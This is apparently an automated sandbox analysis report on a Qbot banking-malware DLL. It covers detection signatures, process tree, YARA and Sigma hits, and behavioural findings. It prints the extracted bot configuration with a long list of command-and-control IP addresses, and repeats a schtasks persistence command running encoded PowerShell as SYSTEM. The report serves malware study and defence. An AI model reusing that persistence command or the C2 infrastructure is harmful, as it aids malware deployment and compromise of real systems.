Edit tour

Windows Analysis Report
C.png

Overview

General Information

Sample Name:	C.png (renamed file extension from png to dll)
Analysis ID:	651257
MD5:	8b81e6a7702f58b93fdc2b57ab401ffb
SHA1:	2990b8adc8891564c404190bedab55df5027da32
SHA256:	500f85201bcfc0ae49204bd31ed4f055cac1b0b7f8e74339907f5c14b8e711a8
Tags:	dll
Infos:

Detection

CryptOne, Qbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Qbot

Yara detected CryptOne packer

Sigma detected: Schedule system process

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Machine Learning detection for sample

Allocates memory in foreign processes

Creates files in the system32 config directory

Injects code into the Windows Explorer (explorer.exe)

Uses schtasks.exe or at.exe to add and modify task schedules

Contains functionality to detect sleep reduction / modifications

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Checks if the current process is being debugged

Registers a DLL

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

PE file overlay found

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 2412 cmdline: loaddll32.exe "C:\Users\user\Desktop\C.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 1212 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\C.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5620 cmdline: rundll32.exe "C:\Users\user\Desktop\C.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

explorer.exe (PID: 1888 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

WerFault.exe (PID: 3032 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 752 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

explorer.exe (PID: 812 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

schtasks.exe (PID: 6468 cmdline: "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6532 cmdline: powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA= MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

regsvr32.exe (PID: 6664 cmdline: "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 6676 cmdline: C:\Users\user\Desktop\C.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

explorer.exe (PID: 6812 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 3732 cmdline: powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA= MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

regsvr32.exe (PID: 6404 cmdline: "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 6408 cmdline: C:\Users\user\Desktop\C.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

cleanup

Malware Configuration

Threatname: Qbot

{"Bot id": "AA", "Campaign": "1655971687", "Version": "403.780", "C2 list": ["38.70.253.226:2222", "47.23.89.60:993", "120.150.218.241:995", "117.248.109.38:21", "37.34.253.233:443", "86.132.14.70:2078", "111.125.245.116:995", "217.165.85.191:993", "176.45.232.204:995", "5.32.41.45:443", "93.48.80.198:995", "100.38.242.113:995", "94.59.252.166:2222", "74.14.5.179:2222", "71.13.93.154:2222", "193.253.44.249:2222", "108.60.213.141:443", "45.241.231.78:993", "217.128.122.65:2222", "40.134.246.185:995", "1.161.124.241:443", "70.46.220.114:443", "24.43.99.75:443", "32.221.224.140:995", "80.11.74.81:2222", "31.215.184.140:2222", "39.49.85.29:995", "67.209.195.198:443", "186.90.153.162:2222", "148.64.96.100:443", "67.165.206.193:993", "210.246.4.69:995", "208.107.221.224:443", "89.101.97.139:443", "88.234.116.71:443", "121.7.223.45:2222", "104.34.212.7:32103", "69.14.172.24:443", "41.228.22.180:443", "197.87.182.60:443", "24.178.196.158:2222", "1.161.124.241:995", "189.78.107.163:32101", "39.52.74.55:995", "2.34.12.8:443", "182.191.92.203:995", "173.21.10.71:2222", "39.41.2.45:995", "90.114.10.16:2222", "184.97.29.26:443", "76.25.142.196:443", "47.156.129.52:443", "24.55.67.176:443", "190.252.242.69:443", "70.51.132.161:2222", "72.252.157.93:995", "90.120.209.197:2078", "72.252.157.93:993", "72.252.157.93:990", "177.45.64.254:32101", "24.139.72.117:443", "187.250.202.2:443", "94.36.193.176:2222", "109.12.111.14:443", "89.86.33.217:443", "179.158.105.44:443", "63.143.92.99:995", "45.46.53.140:2222", "31.215.67.68:2222", "188.136.218.225:61202", "187.208.115.219:443", "31.215.184.140:1194", "39.57.60.246:995", "24.122.142.181:443", "84.241.8.23:32103", "191.250.120.152:443", "202.134.152.2:2222", "91.177.173.10:995", "148.0.43.48:443", "172.115.177.204:2222", "81.193.30.90:443", "68.204.15.28:443", "197.94.94.206:443", "87.109.229.215:995", "102.182.232.3:995", "196.203.37.215:80", "81.250.191.49:2222", "83.110.94.105:443", "201.176.6.24:995", "173.174.216.62:443", "31.215.70.37:443", "175.145.235.37:443", "174.69.215.101:443", "187.172.164.12:443", "201.172.23.68:2222", "41.84.249.56:995", "191.34.121.84:443", "113.53.152.11:443", "86.195.158.178:2222", "109.228.220.196:443", "82.41.63.217:443", "82.152.39.39:443", "106.51.48.188:50001", "103.246.242.202:443", "41.38.167.179:995", "98.50.191.202:443", "185.56.243.146:443", "191.112.28.64:443", "39.44.30.209:995", "47.157.227.70:443", "187.251.132.144:22", "31.35.28.29:443", "148.252.133.168:443", "42.103.132.91:2222", "180.129.108.214:995", "138.186.28.253:443", "89.137.52.44:443", "120.61.2.218:443", "122.118.129.227:995", "124.109.35.171:995", "75.99.168.194:61201", "103.91.182.114:2222", "37.210.156.247:2222", "58.105.167.36:50000", "187.207.131.50:61202", "76.70.9.169:2222", "187.211.80.39:443", "176.67.56.94:443", "103.116.178.85:995", "143.0.219.6:995", "79.80.80.29:2222"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.323381928.00000000010A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000018.00000002.393963522.0000000003B10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000019.00000002.765579370.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000002.765540679.0000000003230000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000002.323413560.00000000010C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000018.00000002.393925531.0000000003AF0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000000.283947623.00000000010C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000019.00000000.390120530.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000000.288483062.0000000003230000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000000.281698290.00000000010C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000000.00000002.290425745.00000000027A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000000.281670705.00000000010A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000002.00000000.283887210.00000000010A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000000.00000002.290335602.0000000002780000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.explorer.exe.3230000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10a0000.6.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
24.2.regsvr32.exe.3af0000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.2.rundll32.exe.10c0000.3.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0.2.loaddll32.exe.2750184.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
24.2.regsvr32.exe.3b10000.3.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
24.2.regsvr32.exe.3ac0184.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
25.2.explorer.exe.2fb0000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.1070184.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.2.rundll32.exe.1070184.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.1070184.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.1070184.5.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.0.explorer.exe.3230000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10a0000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10c0000.7.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0.2.loaddll32.exe.2750184.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
25.0.explorer.exe.2fb0000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.2.rundll32.exe.10c0000.3.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.2.rundll32.exe.10a0000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0.2.loaddll32.exe.2780000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10a0000.6.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0.2.loaddll32.exe.27a0000.3.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10c0000.3.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.explorer.exe.3230000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
24.2.regsvr32.exe.3af0000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.1070184.5.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0.2.loaddll32.exe.27a0000.3.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
25.2.explorer.exe.2fb0000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
24.2.regsvr32.exe.3b10000.3.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.2.rundll32.exe.10a0000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
25.0.explorer.exe.2fb0000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10c0000.7.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
24.2.regsvr32.exe.3ac0184.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.0.explorer.exe.3230000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0.2.loaddll32.exe.2780000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10a0000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.2.rundll32.exe.1070184.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
2.0.rundll32.exe.10c0000.3.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 33 entries

Sigma Signatures

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE, CommandLine: "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\SysWOW64\explorer.exe, ParentImage: C:\Windows\SysWOW64\explorer.exe, ParentProcessId: 812, ParentProcessName: explorer.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE, ProcessId: 6468, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Machine Learning detection for sample

Source: C.dll

Joe Sandbox ML: detected

Source: 4.0.explorer.exe.3230000.0.unpack

Malware Configuration Extractor: Qbot {"Bot id": "AA", "Campaign": "1655971687", "Version": "403.780", "C2 list": ["38.70.253.226:2222", "47.23.89.60:993", "120.150.218.241:995", "117.248.109.38:21", "37.34.253.233:443", "86.132.14.70:2078", "111.125.245.116:995", "217.165.85.191:993", "176.45.232.204:995", "5.32.41.45:443", "93.48.80.198:995", "100.38.242.113:995", "94.59.252.166:2222", "74.14.5.179:2222", "71.13.93.154:2222", "193.253.44.249:2222", "108.60.213.141:443", "45.241.231.78:993", "217.128.122.65:2222", "40.134.246.185:995", "1.161.124.241:443", "70.46.220.114:443", "24.43.99.75:443", "32.221.224.140:995", "80.11.74.81:2222", "31.215.184.140:2222", "39.49.85.29:995", "67.209.195.198:443", "186.90.153.162:2222", "148.64.96.100:443", "67.165.206.193:993", "210.246.4.69:995", "208.107.221.224:443", "89.101.97.139:443", "88.234.116.71:443", "121.7.223.45:2222", "104.34.212.7:32103", "69.14.172.24:443", "41.228.22.180:443", "197.87.182.60:443", "24.178.196.158:2222", "1.161.124.241:995", "189.78.107.163:32101", "39.52.74.55:995", "2.34.12.8:443", "182.191.92.203:995", "173.21.10.71:2222", "39.41.2.45:995", "90.114.10.16:2222", "184.97.29.26:443", "76.25.142.196:443", "47.156.129.52:443", "24.55.67.176:443", "190.252.242.69:443", "70.51.132.161:2222", "72.252.157.93:995", "90.120.209.197:2078", "72.252.157.93:993", "72.252.157.93:990", "177.45.64.254:32101", "24.139.72.117:443", "187.250.202.2:443", "94.36.193.176:2222", "109.12.111.14:443", "89.86.33.217:443", "179.158.105.44:443", "63.143.92.99:995", "45.46.53.140:2222", "31.215.67.68:2222", "188.136.218.225:61202", "187.208.115.219:443", "31.215.184.140:1194", "39.57.60.246:995", "24.122.142.181:443", "84.241.8.23:32103", "191.250.120.152:443", "202.134.152.2:2222", "91.177.173.10:995", "148.0.43.48:443", "172.115.177.204:2222", "81.193.30.90:443", "68.204.15.28:443", "197.94.94.206:443", "87.109.229.215:995", "102.182.232.3:995", "196.203.37.215:80", "81.250.191.49:2222", "83.110.94.105:443", "201.176.6.24:995", "173.174.216.62:443", "31.215.70.37:443", "175.145.235.37:443", "174.69.215.101:443", "187.172.164.12:443", "201.172.23.68:2222", "41.84.249.56:995", "191.34.121.84:443", "113.53.152.11:443", "86.195.158.178:2222", "109.228.220.196:443", "82.41.63.217:443", "82.152.39.39:443", "106.51.48.188:50001", "103.246.242.202:443", "41.38.167.179:995", "98.50.191.202:443", "185.56.243.146:443", "191.112.28.64:443", "39.44.30.209:995", "47.157.227.70:443", "187.251.132.144:22", "31.35.28.29:443", "148.252.133.168:443", "42.103.132.91:2222", "180.129.108.214:995", "138.186.28.253:443", "89.137.52.44:443", "120.61.2.218:443", "122.118.129.227:995", "124.109.35.171:995", "75.99.168.194:61201", "103.91.182.114:2222", "37.210.156.247:2222", "58.105.167.36:50000", "187.207.131.50:61202", "76.70.9.169:2222", "187.211.80.39:443", "176.67.56.94:443", "103.116.178.85:995", "143.0.219.6:995", "79.80.80.29:2222"]}

Source: C.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DLL, BYTES_REVERSED_HI

Source:	Binary string: amstream.pdb source: explorer.exe, 00000004.00000003.324038860.0000000005034000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000019.00000003.394565875.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: amstream.pdbGCTL source: explorer.exe, 00000004.00000003.324038860.0000000005034000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000019.00000003.394565875.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B15A3C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	0_2_00B15A3C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B18F90 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	0_2_00B18F90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_009D5A3C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	2_2_009D5A3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_009D8F90 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	2_2_009D8F90

Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://ocsp.comodoca.com0
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://ocsp.sectigo.com0
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: http://ocsp.sectigo.com0#
Source: loaddll32.exe, rundll32.exe	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: loaddll32.exe, 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000018.00000002.393512133.0000000000401000.00000020.00000001.01000000.00000003.sdmp, C.dll	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types
Source: loaddll32.exe, rundll32.exe	String found in binary or memory: http://www.borland.com/namespaces/Types
Source: regsvr32.exe, 00000018.00000002.393875981.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types-IAppServerSOAP
Source: loaddll32.exe, 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000018.00000002.393512133.0000000000401000.00000020.00000001.01000000.00000003.sdmp, C.dll	String found in binary or memory: http://www.borland.com/namespaces/Typeslhttp://www.borland.com/namespaces/Types-IAppServerSOAP
Source: explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	String found in binary or memory: https://sectigo.com/CPS0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_009F6EBC GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

2_2_009F6EBC

Source: C.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DLL, BYTES_REVERSED_HI

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 752

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_et0gmkgs.0m3.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 00B16D1C appears 48 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 009D6D1C appears 48 times

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3CFCC NtdllDefWindowProc_A,		0_2_00B3CFCC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_009FCFCC NtdllDefWindowProc_A,		2_2_009FCFCC

Source: C.dll.4.dr

Static PE information: No import functions for PE file found

Source: C.dll

Binary or memory string: OriginalFilenameDupefinder.exe> vs C.dll

Source: C.dll

Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\loaddll32.exe	Section loaded: ggr.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: jr3.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ggr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: jr3.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\C.dll 73CBBE5DA2FCE01B57CAA2A39EA01DB26B84DD62631409CF4B3FCFDC4A09A2F7

Source: C.dll.4.dr

Static PE information: Data appended to the last section found

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\C.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\C.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\C.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
